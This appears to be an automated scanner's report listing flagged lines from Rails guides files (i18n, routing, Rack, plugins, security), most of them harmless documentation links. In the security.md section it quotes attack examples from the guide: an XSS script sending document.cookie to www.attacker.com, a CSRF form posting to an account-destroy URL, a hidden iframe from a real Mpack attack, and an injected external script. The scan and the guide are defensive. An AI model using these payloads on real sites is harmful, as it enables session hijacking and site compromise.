**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 33
NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may also use various gems available to add additional functionality or features. See the [rails-i18n ge - Network accessline 106
This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/ - Network accessline 110
NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](https://groups.google.com/g/rails-i18n/c/FN7eLH2-lHA)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, l - Network accessline 159
This example illustrates this using a URL query parameter to set the locale (e.g. `http://example.com/books?locale=pt`). With this approach, `http://localhost:3000?locale=pt` renders the Portuguese localization, while `http://localhost:3000 - Network accessline 197
# Get locale code from request subdomain (like http://it.application.local:3000) - Network accessline 216
assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`. - Network accessline 228
Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options) - Network accessline 239
Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: - Network accessline 243
You probably want URLs to look like this: `http://www.example.com/en/books` (which loads the English locale) and `http://www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options - Network accessline 252
Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). A URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books" - Network accessline 265
With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified. - Network accessline 267
Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "dashboard#index"` declaration in you - Network accessline 278
NOTE: Have a look at a gem which simplifies working with routes: [route_translator](https://github.com/enriclluelles/route_translator). - Network accessline 299
The `Accept-Language` HTTP header indicates the preferred language for request's response. Browsers [set this header value based on the user's language preference settings](https://www.w3.org/International/questions/qa-lang-priorities), mak - Network accessline 318
In practice, more robust code is necessary to do this reliably. Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) library or Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/main - Network accessline 322
The IP address of the client making the request can be used to infer the client's region and thus their locale. Services such as [GeoLite2 Country](https://dev.maxmind.com/geoip/geolite2-free-geolocation-data) or gems like [geocoder](https: - Network accessline 328
WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itse - Network accessline 422
If the locale is set via the URL to the pirate locale (`http://localhost:3000?locale=pirate`), the response renders the pirate strings: - Network accessline 546
TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translatin - Network accessline 599
These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](https://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additiona - Network accessline 737
In many languages — including English — there are only two forms, a singular and a plural, for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plur - Network accessline 738
a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [Japanese](http://www.unicode.org/cldr/charts/latest/supplemental/language_p - Network accessline 785
Alternatively, the separate gem [rails-i18n](https://github.com/svenfuchs/rails-i18n) can be used to provide a fuller set of locale-specific pluralization rules. - Network accessline 1048
* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/main/actionview/lib/action_view/local - Network accessline 1050
* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L15) for translations. - Network accessline 1052
* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/main/actives - Network accessline 1056
* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/main/activerecord/lib/active_record/locale/en.yml#L36) scope. - Network accessline 1060
* `ActiveModel::Error#full_message` and `ActiveModel::Errors#full_messages` prepend the attribute name to the error message using a format looked up from `errors.format` (default: [`"%{attribute} %{message}"`](https://github.com/rails/rails - Network accessline 1066
* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml#L33) scope. - Network accessline 1183
* [Mobility](https://github.com/shioyama/mobility): Provides support for storing translations in many formats, including translation tables, JSON columns (PostgreSQL), etc. - Network accessline 1184
* [Traco](https://github.com/barsoom/traco): Translatable columns stored in the model table itself - Network accessline 1197
Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](https://groups.google.com/forum/#!forum/rai - Network accessline 1199
If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and - Network accessline 1205
* [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n) - Code repository and issue tracker for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master - Network accessline 1206
* [GitHub: i18n](https://github.com/ruby-i18n/i18n) - Code repository and issue tracker for the i18n gem. - Network accessline 1212
* [Sven Fuchs](http://svenfuchs.com) (initial author) - Network accessline 1213
* [Karel Minařík](http://www.karmi.cz) - Network accessline 1218
[^1]: Or, to quote [Wikipedia](https://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions withou
packages/autoskills/skills-registry/rails-guides/references/initialization.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 26
TIP: If you want to follow along while browsing the Rails [source code](https://github.com/rails/rails), we recommend that you use the `t` - Network accessline 27
code](https://github.com/rails/rails), we recommend that you use the `t` - Dangerous shell operationline 455
eval(builder_script, binding, path)
packages/autoskills/skills-registry/rails-guides/references/layouts_and_rendering.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 33
[controller.render]: https://api.rubyonrails.org/classes/ActionController/Rendering.html#method-i-render - Network accessline 34
[`redirect_to`]: https://api.rubyonrails.org/classes/ActionController/Redirecting.html#method-i-redirect_to - Network accessline 35
[`head`]: https://api.rubyonrails.org/classes/ActionController/Head.html#method-i-head - Network accessline 104
NOTE: The actual rendering is done by nested classes of the module [`ActionView::Template::Handlers`](https://api.rubyonrails.org/classes/ActionView/Template/Handlers.html). This guide does not dig into that process, but it's important to k - Network accessline 286
Rails can render objects that respond to `#render_in`. You can provide the object as the first positional argument or provide it as the `:renderable` option to `render`. The object must also define a `#format` method that returns a valid [M - Network accessline 476
Instead of setting the variant on the render call you may also set [`request.variant`](https://api.rubyonrails.org/classes/ActionDispatch/Http/MimeNegotiation.html#method-i-variant-3D) - Network accessline 477
[`request.variant`](https://api.rubyonrails.org/classes/ActionDispatch/Http/MimeNegotiation.html#method-i-variant-3D) - Network accessline 527
[`layout`]: https://api.rubyonrails.org/classes/ActionView/Layouts/ClassMethods.html#method-i-layout - Network accessline 724
[`redirect_back`]: https://api.rubyonrails.org/classes/ActionController/Redirecting.html#method-i-redirect_back - Network accessline 850
[`content_for`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for - Network accessline 867
[`auto_discovery_link_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag - Network accessline 868
[`javascript_include_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag - Network accessline 869
[`stylesheet_link_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag - Network accessline 870
[`image_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag - Network accessline 871
[`video_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag - Network accessline 872
[`audio_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag - Network accessline 923
To include `http://example.com/main.js`: - Network accessline 926
<%= javascript_include_tag "http://example.com/main.js" %> - Network accessline 953
To include `http://example.com/main.css`: - Network accessline 956
<%= stylesheet_link_tag "http://example.com/main.css" %> - Network accessline 1148
[view.render]: https://api.rubyonrails.org/classes/ActionView/Helpers/RenderingHelper.html#method-i-render
packages/autoskills/skills-registry/rails-guides/references/plugins.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 32
At a technical level, a plugin is a Ruby gem that’s designed to work inside a Rails application. It often uses a [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html) to hook into the - Network accessline 33
Rails application. It often uses a [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html) to hook into the Rails boot process, allowing it to extend or modify the framework's behavior in - Network accessline 34
[Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html) to hook into the - Network accessline 53
Rails plugins are built as gems. They can be shared across different Rails applications using [RubyGems](https://guides.rubygems.org/make-your-own-gem/) - Network accessline 54
applications using [RubyGems](https://guides.rubygems.org/make-your-own-gem/) - Network accessline 55
and [Bundler](https://bundler.io/guides/creating_gem.html) if desired. - Network accessline 184
spec.homepage = "http://example.com" - Network accessline 190
spec.metadata["source_code_uri"] = "http://example.com" - Network accessline 191
spec.metadata["changelog_uri"] = "http://example.com" - Network accessline 225
This section will explain how to add a method to [Integer](https://docs.ruby-lang.org/en/master/Integer.html) that will be - Network accessline 226
[Integer](https://docs.ruby-lang.org/en/master/Integer.html) that will be - Network accessline 242
more details on why core class extensions can be problematic, see [The Case Against Monkey Patching](https://shopify.engineering/the-case-against-monkey-patching). - Network accessline 243
Against Monkey Patching](https://shopify.engineering/the-case-against-monkey-patching). <br></br> That said, understanding how core class extensions work is valuable. - Network accessline 244
Patching](https://shopify.engineering/the-case-against-monkey-patching). - Network accessline 349
class methods when the module is included. For more details, see the [ActiveSupport::Concern API documentation](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html). - Network accessline 351
documentation](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html). - Network accessline 455
The plugin we've built so far works great for basic functionality. However, if the plugin needs to integrate more deeply with Rails' framework, you'll want to use a [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html). - Network accessline 457
use a [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html). - Network accessline 741
gem "api_boost", git: "https://github.com/YOUR_GITHUB_HANDLE/api_boost.git" - Network accessline 747
When the gem is ready to be shared as a formal release, it can be published to [RubyGems](https://rubygems.org). - Network accessline 748
[RubyGems](https://rubygems.org). - Network accessline 766
For more information about publishing gems to RubyGems, see: [Publishing your gem](https://guides.rubygems.org/publishing). - Network accessline 767
gem](https://guides.rubygems.org/publishing).
packages/autoskills/skills-registry/rails-guides/references/rails_on_rack.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 6
This guide covers Rails' integration with [Rack](https://en.wikipedia.org/wiki/Rack_(web_server_interface)). After reading this guide, you will know: - Network accessline 21
This allows Rack compliant web servers like [Puma](https://puma.io) or [Falcon](https://socketry.github.io/falcon/) to be interchangeably used with any Rack based web framework such as Rails. - Network accessline 27
A Rack app is an object which implements a `call` method. It is passed an [`env`](https://github.com/rack/rack/blob/main/SPEC.rdoc#the-request-environment) hash, known as the Rack environment. - Network accessline 60
Your app should be available at <http://localhost:9292>. - Network accessline 63
$ curl localhost:9292 - Network accessline 134
This DSL to construct Rack applications is provided by [`Rack::Builder`][]. For further information about Rack, consult the [Rack specification](https://rack.github.io/rack/main/SPEC_rdoc.html) and [Rack Website](https://rack.github.io/rack - Network accessline 136
[`Rack::Builder`]: https://rack.github.io/rack/3.2/Rack/Builder.html - Network accessline 214
Rails provides a configuration interface [`config.middleware`](https://api.rubyonrails.org/classes/Rails/Configuration/MiddlewareStackProxy.html) for adding, removing, and modifying the middleware stack via `application.rb` or the environme - Network accessline 299
[`ActionDispatch::ActionableExceptions`]: https://api.rubyonrails.org/files/actionpack/lib/action_dispatch/middleware/actionable_exceptions_rb.html - Network accessline 305
[`ActionDispatch::Callbacks`]: https://api.rubyonrails.org/classes/ActionDispatch/Callbacks.html - Network accessline 311
[`ActionDispatch::ContentSecurityPolicy::Middleware`]: https://api.rubyonrails.org/classes/ActionDispatch/ContentSecurityPolicy/Middleware.html - Network accessline 317
[`ActionDispatch::Cookies`]: https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html - Network accessline 323
[`ActionDispatch::DebugExceptions`]: https://api.rubyonrails.org/classes/ActionDispatch/DebugExceptions.html - Network accessline 329
[`ActionDispatch::Executor`]: https://api.rubyonrails.org/classes/ActionDispatch/Executor.html - Network accessline 335
[`ActionDispatch::Flash`]: https://api.rubyonrails.org/classes/ActionDispatch/Flash.html - Network accessline 342
[`ActionDispatch::HostAuthorization`]: https://api.rubyonrails.org/classes/ActionDispatch/HostAuthorization.html - Network accessline 348
[`ActionDispatch::Reloader`]: https://api.rubyonrails.org/classes/ActionDispatch/Reloader.html - Network accessline 354
[`ActionDispatch::RemoteIp`]: https://api.rubyonrails.org/classes/ActionDispatch/RemoteIp.html - Network accessline 362
[`ActionDispatch::RequestId`]: https://api.rubyonrails.org/classes/ActionDispatch/RequestId.html - Network accessline 366
[`ActionDispatch::ServerTiming`][] sets a [`Server-Timing`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Server-Timing) header containing performance metrics for the request. - Network accessline 368
[`ActionDispatch::ServerTiming`]: https://api.rubyonrails.org/classes/ActionDispatch/ServerTiming.html - Network accessline 374
[`ActionDispatch::Session::CookieStore`]: https://api.rubyonrails.org/classes/ActionDispatch/Session/CookieStore.html - Network accessline 380
[`ActionDispatch::ShowExceptions`]: https://api.rubyonrails.org/classes/ActionDispatch/ShowExceptions.html - Network accessline 386
[`ActionDispatch::Static`]: https://api.rubyonrails.org/classes/ActionDispatch/Static.html - Network accessline 395
[`ActiveRecord::Migration::CheckPending`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration/CheckPending.html - Network accessline 401
[`ActiveSupport::Cache::Strategy::LocalCache::Middleware`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Strategy/LocalCache.html - Network accessline 407
[`Propshaft::QuietAssets`]: https://github.com/rails/propshaft/blob/main/lib/propshaft/quiet_assets.rb - Network accessline 413
[`Rack::ConditionalGet`]: https://rack.github.io/rack/3.2/Rack/ConditionalGet.html - Network accessline 419
[`Rack::ETag`]: https://rack.github.io/rack/3.2/Rack/ETag.html - Network accessline 425
[`Rack::Head`]: https://rack.github.io/rack/3.2/Rack/Head.html - Network accessline 431
[`Rack::Lock`]: https://rack.github.io/rack/3.2/Rack/Lock.html - Network accessline 437
[`Rack::MethodOverride`]: https://rack.github.io/rack/3.2/Rack/MethodOverride.html - Network accessline 443
[`Rack::Runtime`]: https://rack.github.io/rack/3.2/Rack/Runtime.html - Network accessline 449
[`Rack::Sendfile`]: https://rack.github.io/rack/3.2/Rack/Sendfile.html - Network accessline 456
[`Rack::TempfileReaper`]: https://rack.github.io/rack/3.2/Rack/TempfileReaper.html - Network accessline 462
[`Rails::Rack::Logger`]: https://api.rubyonrails.org/classes/Rails/Rack/Logger.html
packages/autoskills/skills-registry/rails-guides/references/routing.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 76
It also generates `user_url`, which has a similar purpose. While `user_path` generates a relative URL like `/users/17`, `user_url` generates an absolute URL such as `https://example.com/users/17` in the above example. - Network accessline 105
[`resources`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-resources - Network accessline 293
[`namespace`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-namespace - Network accessline 294
[`scope`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-scope - Network accessline 472
[`shallow`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-shallow - Network accessline 522
[`concern`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Concerns.html#method-i-concern - Network accessline 523
[`concerns`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Concerns.html#method-i-concerns - Network accessline 549
In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. An even shorter way to write that [`link_to`](https://api.rubyonrails.org/classes/ActionView/Helpers/Ur - Network accessline 569
NOTE: In order to automatically derive paths and URLs from objects such as `[@magazine, @ad]`, Rails uses methods from [`ActiveModel::Naming`](https://api.rubyonrails.org/classes/ActiveModel/Naming.html) and [`ActiveModel::Conversion`](http - Network accessline 571
[ActionView::RoutingUrlFor#url_for]: https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for - Network accessline 608
[`delete`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-delete - Network accessline 609
[`get`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-get - Network accessline 610
[`member`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-member - Network accessline 611
[`patch`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-patch - Network accessline 612
[`post`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-post - Network accessline 613
[`put`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-put - Network accessline 614
[`put`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-put - Network accessline 640
[`collection`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-collection - Network accessline 730
[`defaults`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-defaults - Network accessline 774
[`match`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-match - Network accessline 830
Will match something like `https://admin.example.com/photos`. - Network accessline 840
[`constraints`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-constraints - Network accessline 981
In all of these cases, if you don't provide the host (`http://www.example.com`), Rails will take those details from the current request. - Network accessline 983
[`redirect`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Redirection.html#method-i-redirect - Network accessline 1014
[`mount`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-mount - Network accessline 1041
[`root`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-root - Network accessline 1056
direct :homepage do "https://rubyonrails.org" - Network accessline 1057
"https://rubyonrails.org" - Network accessline 1060
# >> homepage_url # => "https://rubyonrails.org" - Network accessline 1061
# => "https://rubyonrails.org" - Network accessline 1077
# >> main_url # => "http://www.example.com/pages" - Network accessline 1078
# => "http://www.example.com/pages" - Network accessline 1081
[`direct`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/CustomUrls.html#method-i-direct - Network accessline 1082
[`url_for`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html - Network accessline 1102
[`resolve`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/CustomUrls.html#method-i-resolve - Network accessline 1270
[`form_with`]: https://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_with - Network accessline 1329
[`inflections`]: https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-inflections - Network accessline 1355
You can override [`ActiveRecord::Base#to_param`](https://api.rubyonrails.org/classes/ActiveRecord/Integration.html#method-i-to_param) of the associated model to construct a URL: - Network accessline 1378
To get a complete list of routes available in an application, visit `http://localhost:3000/rails/info/routes` in the **development** environment. You can also execute the `bin/rails routes` command in your terminal to get the same output. - Network accessline 1488
[`assert_generates`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates - Network accessline 1489
[`assert_recognizes`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes - Network accessline 1490
[`assert_routing`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_routing - Network accessline 1556
[`draw`]: https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-draw
packages/autoskills/skills-registry/rails-guides/references/security.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 83
As shown above, the authentication generator modifies the `Gemfile` to add the [bcrypt](https://github.com/bcrypt-ruby/bcrypt-ruby/) gem. The generator uses - Network accessline 84
[bcrypt](https://github.com/bcrypt-ruby/bcrypt-ruby/) gem. The generator uses - Network accessline 171
The [`has_secure_password`](https://api.rubyonrails.org/classes/ActiveModel/SecurePassword/ClassMethods.html#method-i-has_secure_password) - Network accessline 172
[`has_secure_password`](https://api.rubyonrails.org/classes/ActiveModel/SecurePassword/ClassMethods.html#method-i-has_secure_password) - Network accessline 193
The [`authenticate_by`](https://api.rubyonrails.org/classes/ActiveRecord/SecurePassword/ClassMethods.html) - Network accessline 194
[`authenticate_by`](https://api.rubyonrails.org/classes/ActiveRecord/SecurePassword/ClassMethods.html) - Network accessline 220
`ApplicationController` in your application. You can explore details of the [authentication concern](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/authentication/templates/app/controllers/concerns/authenticati - Network accessline 221
[authentication concern](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/authentication/templates/app/controllers/concerns/authentication.rb.tt) in the source code. - Network accessline 222
concern](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/authentication/templates/app/controllers/concerns/authentication.rb.tt) - Network accessline 306
The `CookieStore` uses the [encrypted](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-encrypted) - Network accessline 307
[encrypted](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-encrypted) - Network accessline 310
confidentiality to their contents. The encryption key, as well as the verification key used for [signed](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed) - Network accessline 311
verification key used for [signed](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed) cookies, is derived from the `secret_key_base` configuration value. - Network accessline 312
[signed](https://api.rubyonrails.org/classes/ActionDispatch/Cookies/ChainedCookieJars.html#method-i-signed) - Network accessline 370
well as the various options the `rotate` method accepts, please refer to the [MessageEncryptor API](https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html) - Network accessline 371
the [MessageEncryptor API](https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html) and - Network accessline 372
[MessageEncryptor API](https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html) - Network accessline 373
and [MessageVerifier API](https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html) documentation. - Network accessline 374
[MessageVerifier API](https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html) - Access to secretsline 386
[Credential-related source omitted] - Network accessline 418
If you use the popular [Devise](https://rubygems.org/gems/devise) gem for user management, it will automatically expire sessions on sign in and sign out for you. If you roll your own, remember to expire the session after your sign in action - Access to secretsline 426
[Credential-related source omitted] - Network accessline 451
* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file: `<img src="http://www.webapp.com/ - Network accessline 484
<a href="http://www.harmless.com/" onclick=" - Network accessline 487
this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; - Network accessline 488
f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); - Network accessline 489
f.action = 'http://www.example.com/account/destroy'; - Network accessline 497
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> - Network accessline 515
When submitting forms with [Turbo](https://turbo.hotwired.dev/) the security - Network accessline 536
When making your own non-GET requests from JavaScript the security token is required as well. [Rails Request.JS](https://github.com/rails/request.js) is a - Network accessline 537
required as well. [Rails Request.JS](https://github.com/rails/request.js) is a - Network accessline 563
[`config.action_controller.default_protect_from_forgery`]: configuring.html#config-action-controller-default-protect-from-forgery [`csrf_meta_tags`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CsrfHelper.html#method-i-csrf_meta_ - Network accessline 564
[`csrf_meta_tags`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CsrfHelper.html#method-i-csrf_meta_tags - Network accessline 575
Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-call - Network accessline 586
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com - Network accessline 605
When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is be - Network accessline 666
In order to mitigate such attacks, you can use rate limiting. Rails comes with a built-in [rate-limiter](https://edgeapi.rubyonrails.org/classes/ActionController/RateLimiting/ClassMethods.html#method-i-rate_limit). You can enable it in your - Network accessline 667
built-in [rate-limiter](https://edgeapi.rubyonrails.org/classes/ActionController/RateLimiting/ClassMethods.html#method-i-rate_limit). You can enable it in your sessions controller with a single line: - Network accessline 675
Refer to the [API documentation](https://edgeapi.rubyonrails.org/classes/ActionController/RateLimiting/ClassMethods.html#method-i-rate_limit) for details about the various parameters. - Network accessline 696
Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](https://www.gnucitizen.org/blog/google-gmail-e-m - Network accessline 702
A popular positive CAPTCHA API is [reCAPTCHA](https://developers.google.com/recaptcha/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping - Network accessline 719
You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](https://nedbatchelder.com/text/stopbots.html): - Network accessline 758
javascript:exploit_code();/* http://hi.com - Network accessline 759
http://hi.com - Network accessline 790
The most common parameter that a user might tamper with, is the id parameter, as in `http://www.domain.com/project/1`, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this - Network accessline 919
[`sanitize_sql`]: https://api.rubyonrails.org/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql - Network accessline 933
During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in - Network accessline 960
For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser dis - Network accessline 963
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> - Network accessline 969
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 - Network accessline 972
You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that `document.cookie` may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, an - Network accessline 979
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe> - Network accessline 982
This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This `iframe` is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](https://isc.sans.edu/diary/MP - Network accessline 989
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> - Network accessline 990
<script src=http://www.securitylab.ru/test/sc.js></script><!-- - Network accessline 1014
Both Action View and Action Text build their [sanitization helpers](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html) on top of the [rails-html-sanitizer](https://github.com/rails/rails-html-sanitizer) gem. - Network accessline 1027
This example pops up a message box. It will be recognized by the above `sanitize()` filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/). Rails' `san - Network accessline 1033
The following is an excerpt from the [Js.Yamanner@m Yahoo! Mail worm](https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=12d8d106-1137-4d7c-8bb4-3ea1faec83fa). It appeared - Network accessline 1036
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' - Network accessline 1043
